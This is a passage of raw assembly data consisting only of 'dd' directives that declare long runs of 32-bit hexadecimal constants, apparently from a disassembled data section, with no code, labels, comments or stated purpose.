		dd 900DCC36h, 0FCE4C3E1h, 9712004Ah, 1D40914Eh,	70CE01Ch
		dd 88529226h, 79028CC9h, 8903BF7h, 1063191Bh, 0F80148h
		dd 0A45DD53Ch, 85428A54h, 0D2EFC700h, 0E0B4992Fh, 667068h
		dd 0B282EEE7h, 0C018DD50h, 0E5220500h, 435DB9BAh, 0CDF1000Bh
		dd 55116B04h, 5B001217h, 265FAD77h, 67A729h, 33E70F8Bh
		dd 0A6E555CDh, 0EB4F1000h, 42748DA5h, 0AC700020h, 923CF405h
		dd 0DDB8466Eh, 35613200h, 5CCA8EC9h, 0B1C60060h, 500D4410h
		dd 6F0089B2h, 70969CACh, 4EB95Dh, 51802053h, 0B2FFD81Dh
		dd 0E51FC300h, 8CD2C04Dh, 30246896h, 0C8A1F404h, 84108074h
		dd 9AE3781Bh, 27010089h, 695C9414h, 2206C1A2h, 4C033D5Bh
		dd 88D17E28h, 52882695h, 82189A9h, 0C90F44B1h, 44541F44h
		dd 244B555h, 5D0E44EBh,	440D2044h, 144F9A7h, 511144A9h
		dd 0B4612284h, 6C11ED42h, 865212Bh, 5198B6EFh, 1586A79h
		dd 0CFFBBB1Fh, 0DC090390h, 87000F2Bh, 98990239h, 76B71FCh
		dd 0EA54F112h, 7444201Ah, 0B6005E55h, 4E773DC4h, 4A4148h
		dd 24C871CFh, 0B935A13Bh, 4BBEDD00h, 0E1BCC5E2h, 56CC00BBh
		dd 83F5D1EFh, 8E39149Fh, 292A8039h, 7470B949h, 2F2704A9h
		dd 0C075BD50h, 61D8529Bh, 637CC700h, 539E3004h,	741000BFh
		dd 22987A25h, 0A5033FBAh
		dd 0CE31DEA1h, 48438862h, 0D5F61CAFh, 493740A0h, 97AAD009h
		dd 0CC80DCE3h, 7161938h, 44956308h, 0CB2D2AE0h,	0DE100078h
		dd 0A7C3AACh, 37005AE9h, 70A3EC52h, 9B3B41h, 198E0C0h
		dd 0F5B677DDh, 2179107h, 74202B35h, 0AF9249h, 0E5B534D4h
		dd 918CA844h, 2B9D1000h, 0A47299BCh, 2E05008Eh,	0E8527E17h
		dd 0EF072DD7h, 4FA1CAC9h, 0EB1C4C80h, 0A64E00BBh, 0F1A38AE2h
		dd 7804DE49h, 295AF88Ch, 55F25880h, 8419001Dh, 13BB5BC3h
		dd 0D739A736h, 0FC0100C0h, 88DE61A8h, 737231h, 65440AB9h
		dd 0EC2F9799h, 57FF076h, 0D241900h, 1810C07Eh, 769F0959h
		dd 8827581Bh, 6522E027h, 0CE14879Bh, 80E415C2h,	0AADF945Dh
		dd 194F1D9Ch, 0F7EC003Eh, 0B8F35E2Ah, 0A9007D76h, 3292B4ACh
		dd 313CF9h, 0CC71B060h,	2EB667ADh, 806EA83Bh, 0FE62A12h
		dd 3A53E4B3h, 0C680A2EFh, 63781E5h, 0BD7AE7AFh,	527B3900h
		dd 0C9B12D13h, 7B9F661h, 7EA448E5h, 0C92416Fh, 9C8B60E9h
		dd 0F3484A0h, 0AD8B10Eh, 207AAF06h, 0BB22BD77h,	0CCD200E7h
		dd 9AA55A2Fh, 71004DB7h, 7E16DD4Fh, 0B2E965h, 0EBC9878Ah
		dd 0F39BA306h, 0B072A200h, 0CD9E833Eh, 0E2FE57h, 0C3981886h
		dd 0EC0BD143h, 7775C804h, 0BAC09F96h, 0F1BBCAh,	2683A0D2h
		dd 0FFB7D7A5h, 782C674Ch, 0E5F69512h, 71647C00h, 0DE3A933Dh
		dd 0CE6C804Ah, 5642F8D4h, 240CC600h, 0A24546D6h, 0DAD10B57h
		dd 0F6802912h, 9F15B3FFh, 0FC9CA609h, 65B420DFh, 74B21F9h
		dd 0D9C6C179h, 258790C2h, 9800679Bh, 54A04AE6h,	1ECBBBC8h
		dd 0C9E4FF40h, 3D034CD1h, 0F5A814A1h, 9201361Ah, 7297A64Dh
		dd 5C602A6Ch, 0BD8C1379h, 359447A9h, 0A6FE0076h, 3200DD7Bh
		dd 266B3897h, 266C193h,	0E360803Eh, 83E08CA5h, 7C092F10h
		dd 8002B385h, 2CBCAC2Dh, 0BFDA00C4h, 2F89FC1Eh,	0A8C08216h
		dd 6C4D4EF7h, 8CD604DDh, 0C09EAEAAh, 6B20767Ch,	8A3DCA01h
		dd 9F051D92h, 33FD30h, 0F1F08EE7h, 1CB99E2Ch, 40D63C00h
		dd 93A86A66h, 695F1ED9h, 62F40037h, 446C073Dh, 1C88FD00h
		dd 742264BDh, 7B5B0090h, 8BA3DD67h, 2C01268Ch, 32A17DDBh
		dd 0EB30CFE9h, 724CE86Dh, 49AD00C8h, 0E816D823h, 3000566Ch
		dd 0E7047479h, 0F42A024Bh, 0B78F00F5h, 0E6205AD0h, 0A4004001h
		dd 0BFD88344h, 27F772h,	9FA7E242h, 0B32249CAh, 8C65E0Eh
		dd 23DFE00Ah, 5B0C5Fh, 7F37A17Ch, 53BE3E78h, 0DB831200h
		dd 164FCC28h, 9AD70047h, 10724CCEh, 420CAABBh, 21DD0FE5h
		dd 0A1F3264Bh, 0ED970088h, 0D3153C2Bh, 5800377Bh, 0AC1099A0h
		dd 0C53D5B3h, 0D95FE77Bh, 4800B139h, 0BC1D85EEh, 128062h
		dd 48BCEEAh, 9B87CA7h, 0A800C47Dh, 3CBB7BDCh, 964CEFh
		dd 0DE3F3378h, 7A323AF4h, 88E15800h, 0A139DFBDh, 35E90E97h
		dd 0B640639Dh, 0F7096F2Ch, 1651321Ch, 3EBBF980h, 6698CAh
		dd 0C6A0B94Eh, 5149945h, 0C5A7C400h, 3F30A390h,	0FCEB026h
		dd 8B82F616h, 930173A1h, 0B774CCC6h, 34189400h,	0E93645B3h
		dd 56203E75h, 0CC09580h, 8E8F9C11h, 9FBE4600h, 61CB60FFh
		dd 8A82077Ah, 0B7C9Ah, 0F59DC0D8h, 34A37200h, 2B73FBA8h
		dd 0AB421FEEh, 0B86E40F8h, 1C2CF2A6h, 99CF480Ch, 0EA911E7h
		dd 6523D098h, 4036A781h, 0ECA9808Fh, 66F037BEh,	0EF6A1482h
		dd 0DD07C42Ch, 5001DB31h, 72CD12FAh, 0D09C0B00h, 40D210E5h
		dd 94541660h, 53ACF0h, 1DFC3DA9h, 0E870B6h, 7240BD2Fh
		dd 0D25F27FAh, 0FEE42603h, 90D12830h, 8C5EBCh, 14292DB4h
		dd 0C79CFFEBh, 910CF707h, 0A98046B3h, 7A41D406h, 96900DBh
		dd 1A51D99Eh, 970ED30Eh, 0EC48BFFBh, 0FBAA821h,	3AD814A5h
		dd 64E0D46Fh, 4807E493h, 0E0E00D34h, 0C4404DC4h, 91A0CA79h
		dd 92900EAh, 0F942A958h, 0FE90E103h, 0FF4F0B00h, 96D63EADh
		dd 9CD4A10Ah, 0CAEE5AF0h, 94F7C8h, 99B065EFh, 720060DDh
		dd 0A6FF1C4Eh, 0ECED9D36h, 18953AE1h, 763800F9h, 12F6B1F4h
		dd 0A7126AD8h, 3C00CDABh, 340DDF3Bh, 7FFC07AEh,	0D91DC238h
		dd 0D40A6C00h, 0CC67DC26h, 23E0F028h, 29E346h, 0A711652Ah
		dd 47A01583h, 22CE7009h, 0D201077h, 0DE8713BBh,	0B9080019h
		dd 0EFDF8293h, 7AE6D479h, 0B78ECA00h, 80B22F4Ah, 53B01285h
		dd 0F60C0042h, 0E5A38F33h, 0CB303441h, 809CA0DCh, 20D618E6h
		dd 0CF94283Ah, 0C9047F0h, 0BE0F5BE4h, 208DBFA7h, 0A15DC3A9h
		dd 8A40145h, 0BAE5EFEh,	0BAB440D6h, 1C0090FCh, 8850A38Bh
		dd 925BB9h, 0AAD860FBh,	79C05CF7h, 1530D5Ch, 52D1B5FDh
		dd 46CC77FCh, 0FA7100C4h, 0D3CAB8DBh, 3800CE8Fh, 0F877DEAh
		dd 747EDFD9h, 0C0810086h, 0C9EB1947h, 5F0342B1h, 0BE5A645Dh
		dd 0CA319096h, 1BDD2805h, 89EC00C4h, 0F95CC5AEh, 0A7004B24h
		dd 50D1BAACh, 668B2Ah, 761E9ABEh, 0F6E012B8h, 0EF3A3F00h
		dd 46ECAB87h, 5733000Bh, 0D89F97DEh, 0A007262h,	0ED0DF0B2h
		dd 1DFDF3A1h, 800E43BEh, 404EC779h, 0E6009CCAh,	0A6153BA7h
		dd 38ADD591h, 2A002880h, 841F69BFh, 3E002645h, 2BE082B5h
		dd 38951424h, 98028EAh,	1EC347F0h, 800071EEh, 5F2B84B2h
		dd 1B6E792h, 0E9831C48h, 0D5B7A8BAh, 0C3FDE85Eh, 1B858800h
		dd 97D60BEh, 6664009Ch,	9FBD47F7h, 5F00EDB0h, 43AD4276h
		dd 48AC58C1h, 260B58A1h, 5000DD81h, 0D209D57Dh,	4C00245Fh
		dd 1525D368h, 0A38501E8h, 0E255690Dh, 98A8D3AFh, 68127A33h
		dd 0EC02B57Fh, 40B38D5Fh, 21D9AF4h, 0A83F2FC9h,	2840D7C2h
		dd 8209EA98h, 1A7751D3h, 602AC264h, 12C59A9Ch, 0BAAE4Fh
		dd 98AF1698h, 0A1A06D0Eh, 0D0902B41h, 7ADCEE00h, 0AB84BFDDh
		dd 198C0731h, 4082B8EAh, 38C6ED8Bh, 9B6CC804h, 0C8808F42h
		dd 39231A2h, 0FFE1B1EAh, 75C0A74Dh, 8860B8E4h, 96AFABF8h
		dd 6DA526CCh, 0A14F01A1h, 0F9FB7AAEh, 0A099F0ECh, 0FD583F0Ch
		dd 24CD98CBh, 3CB2D9F8h, 0E0106B80h, 6E96755Bh,	0FCDC38h
		dd 72892BD3h, 0B0AB8FD7h, 0BC8A0064h, 41FF8361h, 970008CCh
		dd 0EB7F4FC9h, 3B21772Dh, 2C3F1BEFh, 8CD9B294h,	0DFFAC4h
		dd 801085DAh, 5C9F0021h, 6F440C03h, 5F1004F2h, 0C600F0AAh
		dd 0F646C855h, 0BA07DBD2h, 7F25CDE6h, 60CEB3D0h, 8A953B12h
		dd 90A4B70Bh, 8160A30Eh, 0CD09018Fh, 0CFEF9B00h, 8C08339Fh
		dd 202D024Fh, 0C15C9A5Bh, 0B80FE9C0h, 3D1E48E4h, 0FF8B61AEh
		dd 0A4568065h, 208311h,	8673EA9Eh, 7F8E72BCh, 77199001h
		dd 0FEE05536h, 1C95BC0h, 9D65A133h, 0D48BF342h,	0F875B389h
		dd 0CA492100h, 7793CF3Bh, 0B6083D19h, 0EC998500h, 8D920DD9h
		dd 67F6DEB8h, 0F843783Fh, 818EF00h, 761F22B3h, 14300036h
		dd 0D97FB1AEh, 0D4A0F377h, 82000151h, 0E0F9CF56h, 0BFD12Dh
		dd 5575F43Eh, 77F6C612h, 6605B0A8h, 9369B512h, 0FE080Fh
		dd 8144861h, 53F832h, 0E8333B9h, 70FF98ABh, 4BA2B400h
		dd 60B70824h, 0B8320014h, 35A707BFh, 70021D88h,	0A8B9C5A6h
		dd 3C8C4166h, 7AFC9C8h,	0D9F348B7h, 0EE24035h, 6000582Fh
		dd 0A94D96C5h, 76786D97h, 9E9007C0h, 90E40DD7h,	88643D39h
		dd 0F400E77Ch, 2CD8E8EDh, 4AFE8Ah, 5CD8D0Ah, 0DCF27718h
		dd 0A4008570h, 0C5486AA8h, 0D65F28h, 97C1D9E8h,	0B355A020h
		dd 6D7E2618h, 776E0E8h,	13223BB4h, 41E7D0F8h, 0B6002A7Fh
		dd 784724E6h, 3DDDAA1Bh, 0E8018AFh, 6E273CFBh, 53001AF2h
		dd 200C2824h, 0CD19DFEh
		dd 63838982h, 9600F744h, 4E8F04BDh, 0F7C0A754h,	1EBB1CF4h
		dd 402F7C7Bh, 7E15D721h, 3702E1C3h, 0E206F9C7h,	4EB4E04Fh
		dd 647101FCh, 0FDBF62B4h, 17D26087h, 0CE6F7E00h, 40FBF03Ch
		dd 2F4003Dh, 5DF237D3h,	0BC019C9Fh, 6B30DF57h, 58F032D1h
		dd 72BD0006h, 0D4111DE6h, 85139B53h, 40004542h,	2BE11B90h
		dd 0A60A0022h, 13A44603h, 5B3ACE0Fh, 4C400020h,	9D9A7899h
		dd 1E5E7217h, 81DC8CE8h, 9CAAB910h, 4D32C4FFh, 0CC469300h
		dd 7944B504h, 0FA0500ABh, 9B0FC001h, 372E1C9Eh,	0E30024E1h
		dd 835EDE95h, 0AC0E5016h, 72A00368h, 484A8F9Bh,	0DF6EB9B0h
		dd 29F1949Ah, 5E7F021Ch, 0E808BB21h, 0B4E710h, 2E4AF715h
		dd 6C932284h, 7B03601h,	61C267ABh, 1EE28070h, 0D37DC556h
		dd 8215002Bh, 1912C1FAh, 0FC91ED24h, 986DE00h, 9659993h
		dd 7679A3D9h, 44B72480h, 0BF5D2F02h, 0F8918074h, 0C52363h
		dd 0D003564Eh, 593171D5h, 819DCF3Eh, 0CEE80D73h, 3AD11E8Bh
		dd 14547864h, 0EC98FA2Eh, 20C4360Bh, 2CF0AD01h,	5242E8DAh
		dd 0A2EA9400h, 0D6C62FAEh, 79071D3Ch, 0F5AA4060h, 0D4AB15B8h
		dd 93014C75h, 0A9C501E6h, 0B7C026F0h, 50877C4h,	0A9CB967h
		dd 40986058h, 200F8C1Dh, 0DEE942B8h, 0D1ED0580h, 6054BB23h
		dd 1849900Bh, 3C03CAECh, 2E26422Fh, 213097EBh, 10D2AD3h
		dd 0B199B28Eh, 304ABBDAh, 5909D83Ch, 94E6D4h, 42BF31C8h
		dd 926A1212h, 0B0A8108Ah, 11882036h, 7BB5DF07h,	21B0843Dh
		dd 0B2AED938h, 54CE586Ch, 7F959100h, 10E5E434h,	5BBB141Dh
		dd 0DD8C180h, 0E12818h,	1A355C9Dh, 74376A9Ah, 262C2E01h
		dd 0D471B322h, 4C2C50CEh, 593E74F4h, 9A6B1389h,	0D7620000h
		dd 61003445h, 0D3F64BD2h, 1EBCA4A3h, 0D8F039h, 1C7DEDC7h
		dd 75CA8EAh, 1F842F6h, 2D45181h, 2CC09B71h, 0CF6B1B61h
		dd 70002E1Eh, 658E154Ch, 3F049EBDh, 978386ECh, 0EB4BB0F1h
		dd 7EBA1EB8h, 72181500h, 0DBA096C0h, 0B27004Fh,	93ABA60Ch
		dd 0B7143E74h, 84A0F7FEh, 54000DF6h, 1C58E19Dh,	2F607B03h
		dd 4DB847EEh, 0D88000D0h, 7ECDB4B5h, 0AC6A0800h, 829CBAEEh
		dd 760C2C0Eh, 1FA7009Dh, 9E41582Eh, 6C6DD100h, 8C75A69Ah
		dd 4096037Eh, 0A1BE90F6h, 0A42FC290h, 7C91CD00h, 0CC8D054Dh
		dd 0E96B1C48h, 1F7840E6h, 2D4C6A93h, 7C888300h,	426DA1E3h
		dd 9094F4h, 2805AB5h, 0B00C945h, 7C56CA98h, 0BC60EEh, 2AE36126h
		dd 12E77290h, 0BEE6B0A8h, 92EA4A00h, 2FADC6Dh, 8E5000DDh
		dd 1147B16Fh, 610015EFh, 0C6E7390Bh, 1D734BCDh,	878E2B69h
		dd 825B2A4Ch, 24401B45h, 5A00611Ch, 0C7E0859Ch,	9C6EE8C3h
		dd 0C4731DF4h, 44EE4h, 0EC0848FCh, 8F13007Ch, 0FEA64B6Bh
		dd 0B601DBDAh, 3A4F0F6Dh, 5CEC548Ah, 5F1F00F7h,	0DDD19770h
		dd 1EE4C8F6h, 0D483EF00h, 0D39FA7BCh, 0AEFC1D63h, 94A4C00Dh
		dd 0CD3DAD59h, 0CCEDF126h, 44005617h, 530434BCh, 7F8E4AAh
		dd 0D402EA8Ch, 6CB2F0BBh, 91025276h, 8DDE0B64h,	29D78050h
		dd 1D4BBA1Bh, 4030FFDAh, 67B1C15Eh, 440713C4h, 8769043Fh
		dd 0C75BBCD0h, 7A9A073Dh, 0C067CD8Ah, 50314D19h, 1142A412h
		dd 0BF665400h, 0B7079Ah, 0AE975FE6h, 8A70F402h,	476A602h
		dd 604B6178h, 7BB2AC40h, 54F456h, 0D04ADE0Dh, 743590F9h
		dd 2BAA0B00h, 0ABE1360Ch, 8AD004Ch, 49BB80BEh, 780040E5h
		dd 1472E820h, 92B383h, 0FCC438CDh, 7EC8900Fh, 80646A3Ch
		dd 2CAA0ACFh, 38536FE8h, 9B004C25h, 0BCEC56E4h,	0E05CA42Eh
		dd 0D18F000Dh, 2D6DA737h, 3657013Eh, 5D7D5CB5h,	4F8401Eh
		dd 953B7259h, 1BDF808Dh, 484E670Fh, 0BAEB0061h,	41FC76BCh
		dd 5039E464h, 67B0D020h, 9E00CF98h, 2EC3D316h, 25707C6h
		dd 0AE6CA232h, 0F880F664h, 5EE98F68h, 41683B6Fh, 0A45289FCh
		dd 0E804043Ch, 0CCCB9353h, 0D4007F34h, 0DB4E64AFh, 0E86BA1h
		dd 80789CCFh, 92B5EC2h,	9319841Eh, 0A06EDACFh, 65E1088Ah
		dd 6ADE0186h, 96A640A2h, 2CEAC8E0h, 91FEA300h, 87361E31h
		dd 0CEB5008Eh, 273E7EF1h, 0F00223Fh, 69058FDFh,	0C13AEEh
		dd 0DC102A29h, 7C8DC73Eh, 801D643Ah, 0E9C9BFF1h, 5070712Ch
		dd 162B868h, 461C1854h,	9C4B7EACh, 0A9C48452h, 148012F5h
		dd 0A671F4h, 3C2124CDh,	3294CF53h, 38DA3Fh, 42066E83h
		dd 0C07E16h, 27FEF82Ah,	0B38FC762h, 135ED400h, 9FD65C1Bh
		dd 7A803867h, 65CA1280h, 0CBA9ED10h, 594A0571h,	0C5323C05h
		dd 0B970A0h, 252C4A99h,	45F87622h, 7FF4D724h, 7900B226h
		dd 0AC7AD839h, 2D7C0164h, 0F57B9EB2h, 0D48AD8B9h, 0C8EF682Ch
		dd 5879AD80h, 38DC753Dh, 1DA84128h, 651024E0h, 0BBEC810Ch
		dd 5FA73BFh, 0E8AFA780h, 80184A42h, 0D7FCACB9h,	6AB7C013h
		dd 7FDA0442h, 0FA24E0A7h, 7E56383Bh, 0F524745Ch, 73040414h
		dd 690B075h, 71460E00h,	1E1711CFh, 423B0083h, 3208F1CBh
		dd 287D75E8h, 2F09C501h, 18F8B854h, 1A00803Dh, 0F49DC48Fh
		dd 140E86C2h, 8593A9AEh, 0DC8075DAh, 0FD48A3h, 44772604h
		dd 85A29CD6h, 0B235D1Dh, 62BC28C0h, 4829B088h, 760C772Dh
		dd 799B197h, 70490B00h,	0BB635FABh, 0F8F13A41h,	4C002458h
		dd 0F690A0DDh, 5F032BD9h, 2CC87A5Bh, 3987A8BFh,	0F95E1E26h
		dd 0C6690122h, 0D0E9196Ah, 448A453h, 8012388Ch,	44921F80h
		dd 0B03599D4h, 222C0BF8h, 0D861D10Ch, 76BDC853h, 75C2000h
		dd 1F7E588Eh, 2B2C00F3h, 80C9F5DCh, 3612A705h, 0B8406F25h
		dd 1442AB91h, 67A11C62h, 1D8800DFh, 50AA7DB7h, 3AC7B401h
		dd 4AE07F1Eh, 84BC8h, 94C3D2F9h, 1547B6E7h, 500E6B00h
		dd 1C107C2Dh, 45610056h, 0EC31A19Ch, 0D400E0B0h, 9DF77DF9h
		dd 0F6165219h, 430A028Ch, 0C8860574h, 7A72A8A1h, 6384C844h
		dd 4C1C5Ch, 55E778D3h, 9D6E68h,	199F6BF7h, 0EF816918h
		dd 79D6BE00h, 6495ADE0h, 0F29A0BDAh, 8080DB29h,	0DA76949h
		dd 0B53BD11Ch, 79B9F0Bh, 0D4C05CA9h, 3FE12A24h,	0F2803EF7h
		dd 0CB57AE88h, 9902CEB4h, 0BAA5C1B2h, 570E0F4h,	0DA11099Fh
		dd 0C00258Ah, 0CE2E03FBh, 3484A600h, 0C2132A39h, 0A72F2CA9h
		dd 99F440B8h, 7900C718h, 13F40E4h, 4D3B488h, 739AF65h
		dd 93CC017h, 0BE00326Bh, 0A4082045h, 0EFC6B0h, 5C4CFF2Ah
		dd 4F63EC23h, 6A4AC0E6h, 885B3023h, 0E52C5AC9h,	55EAF450h
		dd 0F13101C1h, 0A868C76Fh, 233024AEh, 76D34207h, 53D00390h
		dd 9015F4BDh, 0E2FB3F24h, 0D9E78000h, 85FA8B55h, 0C9C18E04h
		dd 14D0E492h, 0E693A8h,	0BCDD4AEBh, 80DE14EDh, 2AB0BE00h
		dd 165195DFh, 8FCF002Dh, 0C131ACF9h, 0B0905AFDh, 0F43859A0h
		dd 34A97D00h, 44E4A8BEh, 0DB150771h, 0D00950E9h, 38D531F5h
		dd 78867224h, 0C3651780h, 2410F814h, 93E673h, 409F7FDBh
		dd 900F37EBh, 0C0940559h, 0EF575C61h, 6AE907A4h, 0A05415E4h
		dd 87F45D08h, 0F368ECEFh, 0F281C100h, 4AF6472Ch, 8FAD006Bh
		dd 0A3D68003h, 5700E716h, 6F73DFF0h, 78D0D4Ch, 3F6375CAh
		dd 0DB84D005h, 661E1A40h, 6243BD33h, 0B0523D08h, 0D668FBh
		dd 9B97CB3Fh, 253A1539h, 1D104102h, 60192DC4h, 7E60610Ch
		dd 8E15DDAh, 8EE81Eh, 500A70B1h, 7800DB47h, 2E4CD5BEh
		dd 7DBA5AAFh, 0CBE2079Eh, 0C062E9C6h, 0D6EB634Eh, 0FFFAB00Eh
		dd 0CAEB86h, 0EE6ED4F3h, 7AE6261Dh, 77A501F4h, 0E849AAF1h
		dd 0BD001C89h
		dd 9D4E8F1Bh, 0BE5769h,	0C02FA8AFh, 43C8DD0Ch, 45A5FCA0h
		dd 97AE6A00h, 0B34FEF22h, 2DDB0257h, 0C8FE6E1Ah, 0F74CBCC8h
		dd 0A60007F0h, 38BC6B7Eh, 0F84EE0h, 876F2056h, 0C433D517h
		dd 0B0A8C300h, 972132F1h, 7A57705h, 3664ABE9h, 4D0B40CCh
		dd 0A9713DDFh, 0B6006DF4h, 0D9A6BF6h, 0B8E2C366h, 52F614h
		dd 74F4A0BFh, 2273C4A9h, 4DC81900h, 0B5F36FFEh,	0BD901Ah
		dd 9E1476ADh, 0E62129B4h, 0F8AA8400h, 0E21FB16Ah, 0CA880004h
		dd 0FD7FD14Ch, 52000AABh, 9A5AF7F6h, 0F5E83Ch, 0D706A8Ch
		dd 0F0D6549Ch, 0C6146C00h, 5CD9E580h, 0FD590719h, 20C3B528h
		dd 15DCB09Ch, 442AF0F8h, 804E087h, 0C9EC2B2Eh, 56C80B0h
		dd 4FBD5807h, 659C4205h, 14545D8Fh, 0A070CB0Eh,	0F2C6C877h
		dd 426B000Fh, 0E2605AACh, 0E008759h, 44912386h,	37897Fh
		dd 429296DEh, 5D774FD5h, 0C638A800h, 0D76B996Eh, 907005h
		dd 0F08015BBh, 0B874222Fh, 0BA8EEE13h, 0CCA7E400h, 1BA806B2h
		dd 0A0F21CF8h, 0E0A0BBE7h, 0B2DC99F6h, 0ACA81A1Dh, 0FE147438h
		dd 10B090h, 7D1D469Dh, 8ABBCEh,	8DBC2E4Bh, 0B0AF20EEh
		dd 59740200h, 4AD6532Ch, 44B0083h, 9DD2E563h, 230121Ch
		dd 5E7180A6h, 237E10DCh, 504B3026h, 2273447h, 78D2E1F7h
		dd 50865D59h, 8F052049h, 5E58F94Bh, 59710C00h, 3FBA9FDCh
		dd 0FB0F93BEh, 819EF07Dh, 0EFCEC96Ah, 2CFFC0B3h, 76CDF400h
		dd 61D3053Eh, 1D71F0h, 8A299617h, 0E901A595h, 0C90758B0h
		dd 7EA80E48h, 0D7C1BC70h, 3B40713h, 80B73017h, 6BF58C6h
		dd 0DE245000h, 0A65DC908h, 16481F02h, 2173C095h, 7CEC1CE8h
		dd 74AB1200h, 37AE819Eh, 0CF4300E2h, 16A4FF9Dh,	750038DEh
		dd 5BEF6BDBh, 458C32h, 4270FAE3h, 0B2EEEB98h, 26A46D00h
		dd 58C9B031h, 0A562007Fh, 0C8E7F0F4h, 0D7EA25A3h, 78DE4F02h
		dd 50FFE9F6h, 0B6D80018h, 99975E05h, 0DB0EBEFAh, 8BBB3291h
		dd 0DF3C60C9h, 0CD5E1F0Dh, 0D0CC772Dh, 0CCE5A34Bh, 821C2C01h
		dd 0DAFB0116h, 0EB82874h, 6175B18Bh, 0CB86D24Bh, 80ED08DDh
		dd 0B1839B21h, 5E1C28h,	9AA83ACFh, 0B7905510h, 0FD1FBD7Fh
		dd 0A0CD2B19h, 60883076h, 7562FAFFh, 0A5D961B1h, 9D00304Ah
		dd 5A7B18Dh, 50184710h,	0E5582320h, 4CB0D5C1h, 715C1229h
		dd 4D18D0h, 48F1616Fh, 0CE0F6CF7h, 0EC1F4003h, 0E4FE8912h
		dd 77D63490h, 3F4BF21Bh, 7319BBE6h, 80DC08DEh, 1AF03321h
		dd 317B97h, 74963BFEh, 0C8E355E1h, 0AB6550C3h, 0A42BBA59h
		dd 896003B0h, 612377B1h, 18CC1185h, 8EA88199h, 23B41E91h
		dd 0EB0487C1h, 1F84817Dh, 110020B2h, 0A74C4D02h, 419BDE47h
		dd 3AD4EC01h, 83C800ACh, 76AF84C9h, 43009A0Dh, 0F8EB72CAh
		dd 3EC0B3F6h, 8B002BC1h, 1E7B8A6Bh, 9300533Eh, 36E6CB42h
		dd 15AC2A4h, 7AC027B3h,	0D45E3FEAh, 1D03F2A7h, 0D99D5DEDh
		dd 0E65BC0C5h, 0E80F0E5h, 160B0F10h, 2A539283h,	9F7CDEE8h
		dd 4F395C06h, 60085497h, 62D5212Eh, 3D00C1DEh, 55D2172h
		dd 14A202h, 0FA1E7875h,	27799551h, 3E163F00h, 7A100A8Ch
		dd 9208C055h, 511FDD3Ch, 0E950AE1Eh, 0FE7B89C0h, 0F0866DE8h
		dd 24AA0718h, 0A1789869h, 81A8422Fh, 95475339h,	608879FDh
		dd 18362681h, 19247420h, 119FA7E3h, 5D728032h, 13B688C4h
		dd 88F661Dh, 591C2135h,	45005562h, 99DC86D2h, 691D6E0Eh
		dd 130C6700h, 87009DEDh, 0C3C97AB9h, 0AA6F128h,	1573BA45h
		dd 0C5090F9Ch, 1D88550Ch, 79CCF907h, 65C798A9h,	30184186h
		dd 3AC1507Ah, 0C6C011C1h, 0A2642540h, 482160D3h, 189D29E9h
		dd 6165A400h, 0D28B14CEh, 15075C0Ch, 0AE37A301h, 0C8EAE81Ah
		dd 500EC9E9h, 2E3F3B12h, 84B260ABh, 0D6579Ch, 2E6DED95h
		dd 0F71A370Ah, 607D78F6h, 9E20FB30h, 0CBD1A7h, 0F282D047h
		dd 760EAF5Ch, 0D6AA3F00h, 0B03EF745h, 617F9Ah, 66E6CC83h
		dd 0A21CC9F0h, 3F89224Ch, 32681DFAh, 0A779007Dh, 0C30317C1h
		dd 2753F4Eh, 1FDE800h, 465B5118h, 0D3F8111Dh, 7C4C7403h
		dd 6208184Eh, 9E3E200Dh, 801C1171h, 0FF79C743h,	6181A700h
		dd 0FB5A5294h, 50303A9Ah, 70B15067h, 0C6C566CFh, 0CD542E04h
		dd 4A86293Eh, 0A20C0421h, 0C01643CFh, 0B4412F01h, 62D80818h
		dd 78C94920h, 4ECB2053h, 0D03DE720h, 13101088h,	78FA0415h
		dd 30063BE3h, 88006148h, 203ABFCDh, 0B17E4Fh, 65CEDDBDh
		dd 3BD1E0AFh, 0F251250Ah, 6E0058D3h, 0CD9FE39Ah, 0C5D0C12Ch
		dd 8026D1D7h, 0D4185728h, 0C047D9DFh, 0E7D87610h, 0E900FCEEh
		dd 3CDB4805h, 0B04195h,	91E9735h, 937DB90Dh, 0FD829E00h
		dd 44DCFFF5h, 99D90025h, 0C2244CB8h, 0F007CBCCh, 7CBA75D6h
		dd 4BBBA7F0h, 34890084h, 0EDAEDBA4h, 0F30E0A5Ch, 40D2A868h
		dd 0D3EFC55Bh, 75430762h, 0E0F9A61Ah, 11F169D0h, 78CD7600h
		dd 4995A3A2h, 4A10357h,	0DE26611Ch, 905886E8h, 0C7D5AF00h
		dd 34950A1Dh, 0F50F1D94h, 0D00FBEB4h, 3280B504h, 1F1839B7h
		dd 300022E8h, 0BFEEEC80h, 0E4EBB94h, 4DF39D0Ch,	0D521818Ch
		dd 0F0EE4300h, 2D3A2B5Ah, 243E4CCCh, 0A975E50Eh, 0D3501387h
		dd 3001ABBCh, 0F5471FD6h, 10802009h, 3A6A4810h,	0D219DBB3h
		dd 0FF098B2Eh, 4FF08187h, 0D76CF06Ah, 0AB00E198h, 0BA872411h
		dd 1082C74h, 2DB4F4EBh,	83CFE07Fh, 0D0344BC0h, 0A0D86D1Bh
		dd 7186EF68h, 32737200h, 7A0951E6h, 8A2F0071h, 3441DCF5h
		dd 0AA2831D2h, 0A1038D9Ch, 87198E32h, 0B8C06473h, 6A336046h
		dd 0A3B31063h, 2104CCD3h, 6A3A01F5h, 915CDAAAh,	3C17DC13h
		dd 52007879h, 82DDCD5h,	3939F28h, 0C0221115h, 0B107A9B7h
		dd 47493AD7h, 1BEC6960h, 0C209CC28h, 3100F721h,	0C9620949h
		dd 8751C99h, 6B4F339h, 1B80B080h, 3AFE16h, 729A5388h, 0EDB6C90Ch
		dd 529D542Eh, 798ED030h, 2BB1A097h, 925F00B1h, 3462305Eh
		dd 0FEB8E868h, 4D417200h, 743E0675h, 6886B890h,	0D60411B0h
		dd 725B4118h, 87BD10h, 0BE7642F9h, 8C609893h, 0DA002D7Ch
		dd 979FD928h, 3209B8h, 0BDD7B094h, 1A467B8Dh, 1C600100h
		dd 4CF0306Ch, 0C43C00E0h, 0D4220569h, 7002C2Ah,	5CEA448Eh
		dd 0E142C5h, 0FC94811Ah, 9BE71510h, 7C843300h, 8089D665h
		dd 1BEEAD1h, 0B193C328h, 0F0FCCF5Ch, 0D00FE4Ah,	18346CDEh
		dd 0BDE30Bh, 103586ADh,	0FA98C9BAh, 21E05700h, 0CDFD70F1h
		dd 6E2B008Dh, 23E33EA4h, 0A1006AEBh, 7037B352h,	12AAF3E1h
		dd 1C8FB1E2h, 870A800Bh, 0BAD25B08h, 4EF74200h,	10F49D85h
